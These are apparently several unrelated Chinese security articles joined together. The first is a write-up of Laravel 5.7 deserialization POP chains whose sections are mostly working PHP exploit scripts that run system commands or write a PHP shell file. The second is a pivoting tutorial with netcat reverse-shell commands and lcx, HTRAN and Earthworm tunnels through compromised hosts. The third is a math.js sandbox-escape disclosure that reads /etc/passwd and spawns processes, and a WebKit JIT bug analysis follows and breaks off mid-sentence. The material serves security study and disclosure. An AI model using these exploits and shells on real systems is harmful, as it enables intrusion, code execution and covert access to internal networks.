也是这次的第五空间比赛中，出了一道关于Lavavel反序列化链的题目，引发了许多师傅对 Lavavel5.7.x 版本的反序列化链子的思考。
并且这么多链子跟下来，感觉有一个字直接灵魂。 **巧**
这里防止文章过于冗长，便于师傅阅读和思考。所以这次直接用图片的方式分析一下POP链。
# 环境搭建
可以直接利用 `composer` 安装
html composer create-project laravel/laravel laravel57 "5.7.*"
然后利用 `artisan` 来启动 `lavavel` 。访问 `localhost:8000` 即可
php artisan serve --host 0.0.0.0
# 1.0 CVE-2019-9081
## 1.1准备工作
首先我们先构造一个反序列化的利用点吧。
编写路由
`routes\web.php`
## 1.2 漏洞复现
## 1.3 POP链分析
这里尽量简短的分析一下这个链子吧。
绕过`createABufferedOutputMock`之后就回到了`mockConsoleOutput`函数里面
出了`bind`也就来到了`run`方法
这样就进入了`Container.php`中的`call`方法。
最后的执行栈图如下
## 1.4 exp
<?php
namespace Faker\ORM\CakePHP;
class EntityPopulator
{
public $expectedOutput;
public $expectedQuestions;
public function __construct()
{
$this->expectedOutput=['Mrkaixin'];
$this->expectedQuestions=['Mrkaixin'];
}
}
namespace Illuminate\Foundation;
class Application
{
public $bindings;
public function __construct()
{
$this->bindings=['Illuminate\Console\OutputStyle'=>'Mrkaixin','Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Foundation\Application']];
}
}
namespace Illuminate\Foundation\Testing;
use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;
class PendingCommand{
public $parameters;
public $test;
public $app;
public $command;
public function __construct()
{
$this->command='system';
$this->parameters=['whoami'];
$this->test=new EntityPopulator();
$this->app=new Application();
}
}
//echo serialize(new PendingCommand());
echo urlencode(serialize(new PendingCommand()));
# 2.0 巧用Format
## 2.1 漏洞复现
## 2.2 POP链分析
如图所示
## 2.3 exp
<?php
namespace Faker;
class Generator
{
public $formatters;
public function __construct()
{
$this->formatters = ['addCollection'=>"system"];
}
}
namespace Symfony\Component\Routing\Loader\Configurator;
use Faker\Generator;
class ImportConfigurator
{
public $route;
public $parent;
public function __construct()
{
// $this->route =["whoami"];
$this->route="whoami";
$this->parent = new Generator();
}
}
echo urlencode(serialize(new ImportConfigurator()));
# 3.0 一条非常巧的链子
## 3.1 漏洞复现
## 3.2 POP链分析
调用栈
## 3.3 exp
<?php
namespace Illuminate\Database\Eloquent;
class Builder
{
public function __construct()
{
$name = "<?php phpinfo(); ?>";
$this->localMacros = ['register' => 'Illuminate\Support\Arr::first'];
$this->$name="shell.php";
}
}
namespace Illuminate\Routing;
use Illuminate\Database\Eloquent\Builder;
class PendingResourceRegistration
{
public $name;
public function __construct()
{
$this->registrar = new Builder();
$this->name = 'file_put_contents';
}
}
echo urlencode(serialize(new PendingResourceRegistration()));
# 4.0 ”故技重施”
## 4.1 漏洞复现
## 4.2 POP链分析
这个链子是在第一条链子被封锁的情况下的第二个办法。利用`call_user_func`去触发`src\Illuminate\Foundation\Testing\PendingCommand.php`中的`run`方法。所以这部分只分析到如何触发`run`方法。
操作栈
## 4.3 exp
<?php
namespace Faker\ORM\CakePHP;
class EntityPopulator
{
public $expectedOutput;
public $expectedQuestions;
public function __construct()
{
$this->expectedOutput=['Mrkaixin'];
$this->expectedQuestions=['Mrkaixin'];
}
}
namespace Illuminate\Foundation;
class Application
{
public $bindings;
public function __construct()
{
$this->bindings=['Illuminate\Console\OutputStyle'=>'Mrkaixin','Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Foundation\Application']];
}
}
namespace Illuminate\Foundation\Testing;
use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;
class PendingCommand{
public $parameters;
public $test;
public $app;
public $command;
public function __construct()
{
$this->command='system';
$this->parameters=['whoami'];
$this->test=new EntityPopulator();
$this->app=new Application();
}
}
namespace Symfony\Component\Routing;
class RouteCollection
{
public $routes;
public function __construct()
{
$this->routes =['Mrkaixin is beautiful'];
$this->resources=['Mrkaixin is handsome'];
}
}
namespace Faker;
use Illuminate\Foundation\Testing\PendingCommand;
use Symfony\Component\Routing\RouteCollection;
class ValidGenerator
{
public $generator;
public function __construct()
{
$this->generator =new RouteCollection();
$this->validator=[new PendingCommand(),'run'];
}
}
namespace Symfony\Component\Routing\Loader\Configurator;
use Faker\ValidGenerator;
class ImportConfigurator
{
public $parent;
public $route;
public function __construct()
{
$this->parent = new ValidGenerator();
$this->route = ['Mrkaixin'];
}
}
echo urlencode(serialize(new ImportConfigurator()));
# 5.0 巧妙的"故技重施" X2
## 5.1 漏洞复现
## 5.2 POP链分析
这里也是和链子4一样，寻找可以利用的`call_user_func`去触发`src\Illuminate\Foundation\Testing\PendingCommand.php`中的`run`方法。
如图所示
调用栈图如下
## 5.3 exp
<?php
namespace Faker\ORM\CakePHP;
class EntityPopulator
{
public $expectedOutput;
public $expectedQuestions;
public function __construct()
{
$this->expectedOutput = ['Mrkaixin'];
$this->expectedQuestions = ['Mrkaixin'];
}
}
namespace Illuminate\Foundation;
class Application
{
public $bindings;
public function __construct()
{
$this->bindings = ['Illuminate\Console\OutputStyle' => 'Mrkaixin', 'Illuminate\Contracts\Console\Kernel' => ['concrete' => 'Illuminate\Foundation\Application']];
}
}
namespace Illuminate\Foundation\Testing;
use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;
class PendingCommand
{
public $parameters;
public $test;
public $app;
public $command;
public function __construct()
{
$this->command = 'system';
$this->parameters = ['whoami'];
$this->test = new EntityPopulator();
$this->app = new Application();
}
}
namespace Illuminate\Validation\Rules;
use Illuminate\Foundation\Testing\PendingCommand;
class RequiredIf
{
public function __construct()
{
$this->condition = [new PendingCommand(), 'run'];
}
}
namespace Symfony\Component\Routing;
class RouteCollection
{
public function __construct()
{
$this->routes = [];
}
}
namespace Symfony\Component\HttpFoundation;
use Illuminate\Validation\Rules\RequiredIf;
class Cookie{
public function __construct()
{
$this->path=new RequiredIf();
}
}
namespace Symfony\Component\Routing\Loader\Configurator;
use Symfony\Component\HttpFoundation\Cookie;
use Symfony\Component\Routing\RouteCollection;
class CollectionConfigurator
{
public $collection;
public function __construct()
{
$this->collection = new RouteCollection();
$this->route = new Cookie();
}
}
//echo (serialize(new CollectionConfigurator()));
echo urlencode(serialize(new CollectionConfigurator()));
# 6.0 一条没搞懂的POP链(失败)
## 6.1 疑惑点
首先还是和链二一样从`src\Illuminate\Routing\PendingResourceRegistration.php`的`register`函数进去，
然后这里也是想到了利用`call_user_func`来rce
然后触发`Logger`的`__call`函数。
一开始以为这个地方是可控的，按理说都应该触发的是`call_user_func(xxxx)`但是这里触发的是某个类的`register`函数。导致产生错误。
所以这个地方有点没搞懂。也希望师傅们能给点思路 orz。
## 6.2 报错exp
<?php
namespace Illuminate\Log;
class Logger
{
public $logger;
public $register;
public function __construct()
{
$this->logger = $this;
$this->register='call_user_func';
}
}
namespace Illuminate\Routing;
use Illuminate\Log\Logger;
class PendingResourceRegistration
{
public $name;
public $controller;
public $options;
public function __construct()
{
$this->registrar = new Logger();
$this->name = 'file_put_contents';
$this->controller = 'shell.php';
$this->options = '<?php phpinfo(); ?>';
}
}
//echo serialize(new PendingCommand());
echo urlencode(serialize(new PendingResourceRegistration()));
# 参考资料
[laravelv5-7反序列化rce](https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/)
[第五空间-WriteUp](https://mp.weixin.qq.com/s/TyJsK5Rkg6MXvADS13RIcA) | 社区文章 |
# 端口转发&端口映射
## 0x01 什么是端口转发
端口转发（Port
forwarding），有时被叫做隧道，是安全壳（SSH）为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为，其使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址（局域网内部）上的一个端口。
普通话：端口转发就是将一个端口，这个端口可以本机的端口也可以是本机可以访问到的任意主机的端口，转发到任意一台可以访问到的IP上，通常这个IP是公网ip
## 0x02 什么是端口映射
端口映射是NAT的一种，功能是把在公网的地址转翻译成私有地址，
采用路由方式的ADSL宽带路由器拥有一个动态或固定的公网IP，ADSL直接接在HUB或交换机上，所有的电脑共享上网。
普通话：就是映射端口，就是将一个内网端口映射到公网上的某个端口，假设我自己的电脑是在内网中，没有公网
IP，但是我想提供一个端口供其他人使用，这就是端口映射
## 0x03 区分端口映射和端口转发
### 端口映射场景：
外网主机A想访问内网主机B上的服务
### 端口转发场景：
外网主机A已经可以任意内网主机B上的端口，但是无法访问内网主机C上的端口
此时可以将C主机的端口到B主机的端口，那么外网主机A访问B主机的某某端口就相当于访问了C主机的某某
### 总结：
>
> 端口转发和端口映射原理是一样的只不过是应用场景不一样，假如我们将本机的端口转发到远程主机端口，我们可以叫端口映射，也可以叫端口转发，看下图【注意图上文字】
> 我们如果把本机可以访问到的任意 IP
> 的端口转发到另外一台服务器的端口，我们叫他端口转发，看下图【注意图上文字】
## 0x04 区分正向连接和反向连接
* 正向连接：你的机器连接目标机器
* 反向连接：目标机器反连你的机器
* 不论映射，还是转发，都有正有反，原理相同
## 0x05 端口转发和代理工具
* Lcx
* Htran
* Netcat
## 0x06 环境拓扑图
A 主机W7
B 主机W7
C 主机XP
## 0x07 NC
### NC 用法
### 2\. NC反向连接-网络环境设想：
> A外网 无法访问 内网B 【A为攻击者处于外网】
>
> B内网 可以访问 外网A
A：192.168.0.226
B：192.168.32.130
适合 **nc反向连接** ：也就将内网主机B shell反弹到 外网A
在外网主机A上执行：nc –nvlp 7777
在内网主机B上执行：nc –e cmd 192.168.0.226 7777
此处假装我连上了shell，并上传了nc
A主机处回显
### 3\. NC正向连接-网络环境设想：
> A内网 可以访问 外网B 【A为攻击者处于内网】
>
> B外网 不能访问 内网A
适合 **nc正向连接** ：也就将内网主机A shell反弹到 外网B
在内网A 上执行 nc –l –p 5555 –e cmd .exe
在外网主机B上执行nc –nvv 192.168.0.226 5555
### 4\. 阐述：
如果客户端【相当于内网】连接服务器【相当于外网】，想获取服务器的shell，那么称为正向shell，如果是客户端连接服务器，服务器端想获取客户端的shell，那么称为反向shell
NC是安全的瑞士军刀，太出名了，不光能反弹shell,端口转发，还能聊天等等
## 0x08 LCX
### LCX用法：
### LCX端口映射环境设想：
> A外网 无法访问 内网B 【A为攻击者处于外网】
>
> B内网 可以访问 外网A
在内网主机B上执行：lcx.exe –slave 192.168.0.226 7777 192.168.32.132 3389
意思是：将内网 (192.168.32.132) 的 3389 端口转发到公网 (192.168.0.226) 的 7777
端口
在外网主机A上执行：lcx.exe –listen 7777 5555
意思是：监听主机上7777 端口 并转给5555
此时，在主机A连接远程桌面访问127.0.0.1:5555 就相当于访问了B的3389
### LCX端口转发环境设想：
> A外网 可以访问 B
>
> B内网 可以访问 C
>
> A不能访问 C
A主机ip：192.168.0.226
B 主机ip：192.168.32.130
C 主机ip：192.168.32.135
在内网主机B上执行：lcx.exe –tran 7777 192.168.32.135 3389
意思是：把C主机的3389端口转到B的7777端口上
此时访问B主机上的7777端口就相当于访问C主机上的3389
在A主机上运行mstsc连接192.168.32.130:7777或者B主机上127.0.0.1:7777就可以访问到C的3389
### 阐述
LCX多用于被空计算机（肉鸡）处于内网，黑客想使用远程终端进行管理的情况下，一般黑客会将肉鸡3389开启，之后通过LCX进行端口转发
## 0x09 HTRAN
### HTRAN用法
### HTRAN使用方法-环境设想一
B公网
A可直接访问B[并且B已经开启3389，B防火墙禁止3389连接]
B 也可以访问A
A主机ip：192.168.0.226
B 主机ip：192.168.32.130
C 主机ip：192.168.32.135
#### 方法1：
在B主机上执行：Htran2.4.exe -p -tran 7777 127.0.0.1 3389
意思是：将B的3389转为本机的7777端口
此时A主机进行远程桌面终端连接：192.168.32.130:7777
#### 方法2：
在A主机进行监听执行：HTran2.4.exe -p -listen 8888 9999
意思是：监听本机8888端口，并将8888端口流量转到9999
在B主机执行：HTran2.4.exe -p -slave 192.168.0.226 8888 127.0.0.1 3389
意思是：将本机的3389端口转发到A的8888端口
接下来在A主机上连接远程桌面访问本地的9999端口，即可连接到B的3389
### HTRAN使用方法-环境设想二
B主机在公网
C在B的内网
A可以访问B，不可以访问C
A主机ip：192.168.0.226
B 主机ip：192.168.32.130
C 主机ip：192.168.32.135
#### 方法1：
在B主机上执行：HTran2.4.exe -p -tran 8888 192.168.32.135 3389
意思是：将C主机的3389端口转发到B主机的8888
此时A连接B的8888就相当于访问C的3389
#### 方法2：
在B主机上进行监听HTran2.4.exe -p -listen 7777 9999
意思是：监听B主机的7777端口，并将流量转发到9999
在C主机上执行：HTran2.4.exe -p -slave 192.168.32.130 7777 127.0.0.1 3389
意思是：将C的3389转到B的7777端口
# 代理
## 0x01 什么是代理
代理（英语：Proxy），也称网络代理，是一种特殊的网络服务，允许一个网络终端（一般为客户端）通过这个服务与另一个网络终端（一般为服务器）进行非直接的连接。一些网关、路由器等网络设备具备网络代理功能。一般认为代理服务有利于保障网络终端的隐私或安全，防止攻击
## 0x02 代理类别
HTTP代理
SOCKS代理
FTP代理
Telnet代理
SSL代理
## 0x03 区分正向代理和反向代理
正向代理中，proxy 和 client 同属一个 LAN，对 server 透明； 反向代理中，proxy 和
server 同属一个 LAN，对 client 透明，一个代理的是客户端，一个代理的是服务器
注：自己画的，不接受批评☺
## 0x04 reGeorg+Proxychains 代理
reGeorg是reDuh的继承者。主要是把内网服务器的端口通过http/https隧道转发到本机
选择对应服务器脚本上传到B主机的服务器，我这里面是php
访问文件显示Georg says, 'All seems fine',代理成功
然后执行reGeorgSocksProxy.py文件【需要urllib3模块】：python2
reGeorgSocksProxy.py –u “<http://192.168.32.130/tunnel.php”> –p 8888
在命令行界面同样显示 All seems fine即可
接下来使用工具Proxifier
首先添加一个server
配置代理规则
这里选择选择远程桌面程序mstsc
连接远程桌面
可以看到通过代理走的流量
## 0x05 基于powershell的Socks4/5代理
使用的是Invoke-SocksProxy，地址：<https://github.com/p3nt4/Invoke-SocksProxy>
### Invoke-SocksProxy用法
### Invoke-SocksProxy使用方法一
Win10主机ip:192.168.192.130
Win7 主机 ip:192.168.192.129
建立一个sock4/5代理
在Win10上首先以管理员权限运行powershell，如果提示脚本禁止执行，请输入“set-ExecutionPolicy
RemoteSigned”即可
输入Import-Module .\Invoke-SocksProxy.psm1 导入模块
输入Invoke-SocksProxy -bindPort 1234 在端口1234上创建socks代理
接下来在Win7上使用socks代理软件，通过Win10的1234端口进行外网访问
这次我是用的软件是sockscap,当然Proxychains肯定也行
点击文件选择“设置”设置socks服务器IP和端口，点击应用，确定
点击新建，选择需要通过代理的程序，我这里选择的火狐浏览器
点击运行，我们访问百度
在W10主机，窗口可以看到，已经连接成功了
### Invoke-SocksProxy使用方法二
增加线程方式，输入Invoke-SocksProxy -bindPort 1234 -threads 400
如果不加-bindPort默认端口1080
## 0x06 Earthworm
EW 是一套便携式的网络穿透工具，具有 SOCKS
v5服务架设和端口转发两大核心功能，可在复杂网络环境下完成网络穿透
注:此工具已停止更新、下载
### Earthworm用法
下图是一张示意图:
该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道，直达网络深处，用蚯蚓独有的手段突破网络限制，给防火墙松土。
工具包中提供了多种可执行文件，以适用不同的操作系统，Linux、Windows、MacOS、Arm-Linux
均被包括其内，更多平台的支持还在维护中，敬请期待。
使用方法：
以下所有样例，如无特殊说明代理端口均为1080，服务均为SOCKSv5代理服务.
该工具共有 6
种命令格式（ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran）。
1. 正向 SOCKS v5 服务器
\$ ./ew -s ssocksd -l 1080
1. 反弹 SOCKS v5 服务器
这个操作具体分两步：
a) 先在一台具有公网 ip 的主机A上运行以下命令：
\$ ./ew -s rcsocks -l 1080 -e 8888
b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
\$ ./ew -s rssocks -d 1.1.1.1 -e 8888
成功。
1. 多级级联
工具中自带的三条端口转发指令，它们的参数格式分别为：
\$ ./ew -s lcx_listen -l 1080 -e 8888
\$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
\$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5。
首先提供两个“二级级联”本地SOCKS测试样例：
a) lcx_tran 的用法
\$ ./ew -s ssocksd -l 9999
\$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
b) lcx_listen、lcx_slave 的用法
\$ ./ew -s lcx_listen -l 1080 -e 8888
\$ ./ew -s ssocksd -l 9999
\$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
再提供一个“三级级联”的本地SOCKS测试用例以供参考
\$ ./ew -s rcsocks -l 1080 -e 8888
\$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
\$ ./ew -s lcx_listen -l 9999 -e 7777
\$ ./ew -s rssocks -d 127.0.0.1 -e 7777
数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
注: 以上内容来源参考自官网或者工具里面的Readme
### Earthworm使用方法一【正向代理】
> Win7 主机ip:192.168.192.1
>
> Win7 主机 ip:192.168.192.9
目标网络边界存在公网IP且可任意开监听端口：
+---------+ +-------------------+
|HackTools| ->> | 7777-> 192.168.192.9 |
+---------+ +-------------------+
执行：ew_for_win_32.exe -s ssocksd -l 7777
意思是：在 w7 192.168.192. 9 主机上通过这个命令开启 7777 端口的 socks 代理
接下来可以使用sockscap或者
Proxychains等工具访问代理端口，因为之前提过用法我就不墨迹了，直接放演示截图
注：此属于正向代理，代理的是黑客客户端，连接的是肉鸡相当于服务器
### Earthworm使用方法二【反向代理】
> Win7 x32 主机ip:192.168.0.75 【hack机】
>
> Win7 主机 ip:192.168.0.226 【公网机】
>
> Win7 主机 ip:192.168.192.9 【内网机】
目标网络边界不存在公网 IP，需要通过反弹方式创建 socks 代理
192.168.192.9 一台可控公网IP主机 可控内网主机
+---------+ +--------------------------+ | +---------------+
|HackTools| ->> | 1089 ->192.168.0.226 -> 9999 | 防火墙 | **\ <\--**
192.168.0.75 |
+---------+ +--------------------------+ | +---------------+
在公网机【vps】上执行：ew_for_win_32.exe -s rcsocks -l 1089 -e 9999
意思是：在 192.168.0.226 的公网主机添加转接隧道，将 1089
收到的代理请求转交给反连 9999 端口的主机
在内网主机【可控肉鸡】上执行：ew_for_win_32.exe -s rssocks -d 192.168.0.226 -e
9999
意思是：将目标网络的可控内网主机反向连接公网主机
接下来可以用通过访问 sockscap或者 Proxychains等工具192.168.0.226:1089 端口使用
rssocks 主机提供的 socks5 代理服务
### Earthworm使用方法三
> Win7 主机ip:192.168.192.1 【hack机】
>
> Win7 主机 ip:192.168.192.9 【A】
>
> Win7 主机 ip:192.168.192.11 【B】
获得目标网络内两台主机 A、B 的权限，情况描述如下：
A 主机： 存在公网 IP，且自由监听任意端口，无法访问特定资源
B 主机： 目标网络内部主机，可访问特定资源，但无法访问公网
A 主机可直连 B 主机
可控边界主机A 可访问指定资源的主机B
+---------+ +-----------------------+ +----------------
|HackTools| ->> | 1099 -->192.168.192.9 --> | ->> |7777 ->
192.168.192.11 |
+---------+ +-----------------------+ +-----------------+
在B主机上执行：ew_for_win_32.exe -s ssocksd -l 7777
意思是：在B主机上利用 ssocksd 方式启动 7777 端口的 socks 代理
在主机A上执行：ew_for_win_32.exe -s lcx_tran -l 1099 -f 192.168.192.11 -g 7777
/意思是将 1080 端口收到的 socks 代理请求转交给B主机的7777端口。
接下来可以用通过访问 sockscap或者 Proxychains等工具192.168.192.9:1099 端口使用
rssocks 主机提供的 socks5 代理服务
代理成功截图：
### Earthworm使用方法四
> Win7 主机ip:192.168.192.1 【hack机】
>
> Win7 主机 ip:192.168.192.9 【A】
>
> Win7 主机 ip:192.168.192.10 【公网机】
>
> Win7 主机 ip:192.168.192.13 【B】
获得目标网络内两台主机 A、B 的权限，情况描述如下：
A 主机： 目标网络的边界主机，无公网 IP，无法访问特定资源。
B 主机： 目标网络内部主机，可访问特定资源，却无法回连公网。
A 主机可直连 B 主机
1. 在公网机上执行：ew_for_win_32.exe -s lcx_listen -l 1099 -e 8888
意思是：在 192.168.192.10 公网IP主机添加转接隧道，将 1080
收到的代理请求，转交给反连 8888 端口的主机
1. 在主机B上执行：ew_for_win_32.exe -s ssocksd -l 9999
意思是：在 192.168.192.13 【B】主机上利用 ssocksd 方式启动 9999 端口的 socks
代理
1. 在主机A上执行：ew_for_win_32.exe -s lcx_slave -d 192.168.192.10 -e 8888 -f
192.168.192.13 -g 9999
意思是：在 192.168.192.9 上，通过工具的 lcx_slave 方式，打通192.168.192.10:8888
和 192.168.192.13:9999 之间的通讯隧道
1. HackTools 可通过访问192.168.192.10:1099 来使用 192.168.192.13 主机提供的
socks5 代理
成功截图：
B的
> 公网机的
> A的
> Hack机
> 注：红色正常我代理机B上不了外网
### Earthworm总结
目前工具提供六种链路状态，可通过 -s 参数进行选定，分别为:
ssocksd rcsocks rssocks
lcx_slave lcx_tran lcx_listen
其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks
提供，分别对应正向与反向socks代理。
其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
lcx 类别管道
lcx_slave 该管道一侧通过反弹方式连接代理请求方，另一侧连接代理提供主机。
lcx_tran 该管道，通过监听本地端口接收代理请求，并转交给代理提供主机。
lcx_listen
该管道，通过监听本地端口接收数据，并将其转交给目标网络回连的代理提供主机。
通过组合lcx类别管道的特性，可以实现多层内网环境下的渗透测试。
####
注：这个是之前个人写的总结，修了一下内容和图片分享了出来，很多诸如frp、ngrok等工具并没有总结进去；另如有问题希望各位大佬不吝赐教，不要喷小弟 | 社区文章 |
原文链接：https://capacitorset.github.io/mathjs/
原文链接：https://www.zerodayinitiative.com/blog/2018/10/31/preventative-patching-produces-pwn2own-participants-panic
## 前言
本文简要描述了我们如何发现、利用以及提交远程代码执行（RCE）漏洞，希望这篇文章能够成为查找漏洞的指南，并且我们将一直用负一种负责任的态度报告漏洞。
## 第一步：发现
在使用math.js API(`http://api.mathjs.org/v1/?expr=expression-here`)时，我们发现它似乎在执行JavaScript代码，但在这过程中有一些限制：
> !calc cos
Result: function
> !calc eval
Result: function
> !calc eval("x => x")
Error: Value expected (char 3)
> !calc eval("console.log")
Error: Undefined symbol console
> !calc eval("return 1")
Result: 1
尤其是，`eval`似乎被一个安全版取代了,`Function`和`setTimeout/ setInterval`也无效了：
> !calc Function("return 1")
Error: Undefined symbol Function
> !calc setTimeout
Error: Undefined symbol Function
## 第二步：开发
既然我们发现了执行代码的过程中存在某种限制，我们就得想办法避免。
有四种标准方法可以用来执行中的代码，分别是：
* eval("code")(<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval>)
* new Function("code")(<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function>)
* setTimeout("code", timeout)(<https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout>)
* setInterval("code", interval)(<https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval>)
在math.js环境中，我们无法直接访问它们，因为它们没有被定义，或者是因为它们已经使用安全函数重新定义了。但是，我们可以间接访问它们：值得注意的是，`Function`可以作为现有函数的构造函数间接访问——这是引导我们发现漏洞的关键线索。
例如，`Function("return 1")`可以替换为`Math.floor.constructor("return
1")`。因此，要执行`return 1`，我们可以使用`Math.floor.constructor("return 1")()`。
我们知道在math.js环境中`cos`被定义为一个函数，所以我们使用了：
> !calc cos.constructor("return 1")()
Result: 1
我们成功了！
这里我们可以使用`require-d`引入一些模块，然后获得对操作系统的访问权限，对吧？但其实没那么快：虽然math.js
API服务器在Node.js环境中运行，但不知道怎么回事我们无法使用`require`。
> !calc cos.constructor("return require")()
Error: require is not defined
但是，我们可以使用`process`，它有一些特别棒的功能：
> !calc cos.constructor("return process")()
Result: [object process]
> !calc cos.constructor("return process.env")()
Result: {
"WEB_MEMORY": "512",
"MEMORY_AVAILABLE": "512",
"NEW_RELIC_LOG": "stdout",
"NEW_RELIC_LICENSE_KEY": "<redacted>",
"DYNO": "web.1",
"PAPERTRAIL_API_TOKEN": "<redacted>",
"PATH": "/app/.heroku/node/bin:/app/.heroku/yarn/bin:bin:node_modules/.bin:/usr/local/bin:/usr/bin:/bin:/app/bin:/app/node_modules/.bin",
"WEB_CONCURRENCY": "1",
"PWD": "/app",
"NODE_ENV": "production",
"PS1": "\[\033[01;34m\]\w\[\033[00m\] \[\033[01;32m\]$ \[\033[00m\]",
"SHLVL": "1",
"HOME": "/app",
"PORT": "<redacted>",
"NODE_HOME": "/app/.heroku/node",
"_": "/app/.heroku/node/bin/node"
}
虽然`process.env`包含了一些有趣的信息，但它实际上并没有什么用：我们需要更深入地探究，并且用上`process.binding`，这将会向操作系统公开Javascript绑定。尽管它们没有被正式记录并且在内部使用，但是可以通过读取Node.js源代码来重建它们的行为。例如，我们可以使用`process.binding("fs")`来读取OS上的任意的一个文件（在具有适当权限的情况下）：
为简洁起见，我们将跳过`!calc cos.constructor("code")`，并且相应的，用粘贴的相关JS代码进行替换。
> buffer = Buffer.allocUnsafe(8192); process.binding('fs').read(process.binding('fs').open('/etc/passwd', 0, 0600), buffer, 0, 4096); return buffer
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
<more users...>
我们差不多完成了：现在我们需要找到一种可以打开shell、并且可以运行任意命令的方法。如果你有使用Node.js的经验，你可能知道`child_process`，它可以用来生成带有`spawnSync`的进程：我们只需要使用操作系统绑定复制这个功能（请记住我们现在不能使用`require`）。
这看起来容易的多了：您只需获取`child_process`的源代码，删除不需要的代码（未使用的函数和错误的处理），缩小它，并通过API运行它。
从这里，我们可以生成任意进程并且运行shell命令：
> return spawnSync('/usr/bin/whoami');
{
"status": 0,
"signal": null,
"output": [null, u15104, ],
"pid": 100,
"stdout": u15104,
"stderr":
}
## 第三步：提交漏洞
既然我们发现了一个漏洞并尽可能地在利用它，现在我们得想办法如何处理它。由于我们开发它仅仅是出于一种兴趣，并且我们没有任何恶意，所以我们采用了“白帽子”方法，并将其提交给维护者。我们通过他的GitHub上的个人资料中列出的电子邮件地址与他取得了私下联系，并发送了以下的详细信息：
1.漏洞的简短描述（math.js中的远程代码执行缺陷）;
2.一个示例攻击，解释它是如何工作的（一份关于为什么`cos.constructor("code")()`可以有效运行，以及`process.bindings`可以带来什么的总结报告）;
3.在服务器上实际演示（包括`whoami`和`uname -a`输出）;
4.关于修复它的一些建议（例如，使用`vmNode.js`中的模块）。
在两天的时间里，我们与作者一起合作来帮助修复漏洞。值得注意的是，他在`2f45600`中推出一个修复程序后，我们在`3c3517d`中发现了一个类似的解决方法（如果你不能直接使用构造函数，请使用`cos.constructor.apply(null,
"code")()`）。
## 时间线
2017年3月26日22:20 CEST：首次成功发掘漏洞
2017年3月29日14:43 CEST：向作者提交漏洞
2017年3月31日12:35 CEST：提交了第二个漏洞(.apply)
2017年3月31日13:52 CEST：两个漏洞都已修复
此漏洞由@CapacitorSet和@denysvitali发现。感谢@josdejong及时修复漏洞，感谢JSFuck发现了这个`[].filter.constructor`。
最后还有一份来自Jos的澄清：math.js并不像之前想象的那样执行JavaScript代码，它有自己的解析器，这个解析器拥有自己的数学导向语法和运算符以及函数，当然这些函数仍然是JavaScript函数。
## Pwn2Own的预防性漏洞修补
Pwn2Own的每个条目都让人焦虑的一个原因是每个漏洞都要经过重复检查的过程。即使参赛者成功的展示了对漏洞的利用，如果我们或供应商已经知道漏洞，这也不算是成功。研究人员可能会感到非常紧张，因为无法知道其他人是否已经提交了漏洞。当现在我们开始为`Pwn2Own
Tokyo`做准备时，我将公开我发现的一个Bug。
该漏洞存在于`WebKit’s JavaScript implementation`,
`JavaScriptCore`中的JIT引擎中。具体而言，该漏洞位于`Data Flow Graph(DFG)`层中。
在分析该漏洞之前，让我们确保我们可以对`JavaScriptCore`快速上手。`JavaScriptCore`支持的函数有一个优化的变体，称为`Intrinsic`，它有专属于自己的操作，例如，`new
Uint32Array`最终可能由`NewTypedArray`处理，而`Math.abs(x)`最终可能由`ArithAbs`处理。在`JavaScriptCore's
JIT`引擎中，这些函数主要出现在两个文件中：`DFGAbstractInterpreterInlines.h`和`DFGClobberize.h`。
顺便提一下，副作用指操作本身之外，可能会发生的任何事情。举一个例子，`ArithAbs`函数需要用一个参数并返回该参数的绝对值，就像`Math.abs`。因此，这意味着执行ArithAbs函数中不应该分配数组。有效的操作以几种不同的方式表示，在`DFGAbstractInterpreterInlines.h`中，它们表示为`clobberWorld`，而在`DFGClobberize.h`中，它们分别表示为`read(World)`和`write(Heap)`。我们可以掩饰在这些调用期间发生的事情，并关注它们破坏已知状态的事实，使得JIT引擎在函数执行后不会做出任何假设。
## 漏洞发现
今年4月我去迪拜OPCDE的途中，我阅读了DFG字节代码解析器并在该`handleTypedArrayConstructor`方法名中碰巧发现了这个：
在这里，`blah`是一个非缓冲对象，这激起了我的好奇心，于是我赶紧看了看`DFGAbstractInterpreterInlines.h`以及`DFGClobberize.h`，从而确定`NewTypedArray`函数是否被当作有效代码进行处理。
这是我在`DFGAbstractInterpreterInlines.h`中所看到的：
这是非常符合我的预期。如果`TypedArray`构造函数的参数是`UntypedUse`，那么将会发生`clobberWorld`的调用。
然而，当我看到`DFGClobberize.h`时，有趣的事情发生了：
作为一个对比版本，以下是经过`ArithAbs`处理的`Math.abs`，以及其如何在`DFGClobberize.h`中被处理：
看到不同了吗？通过该`ArithAbs`操作，如果参数`to
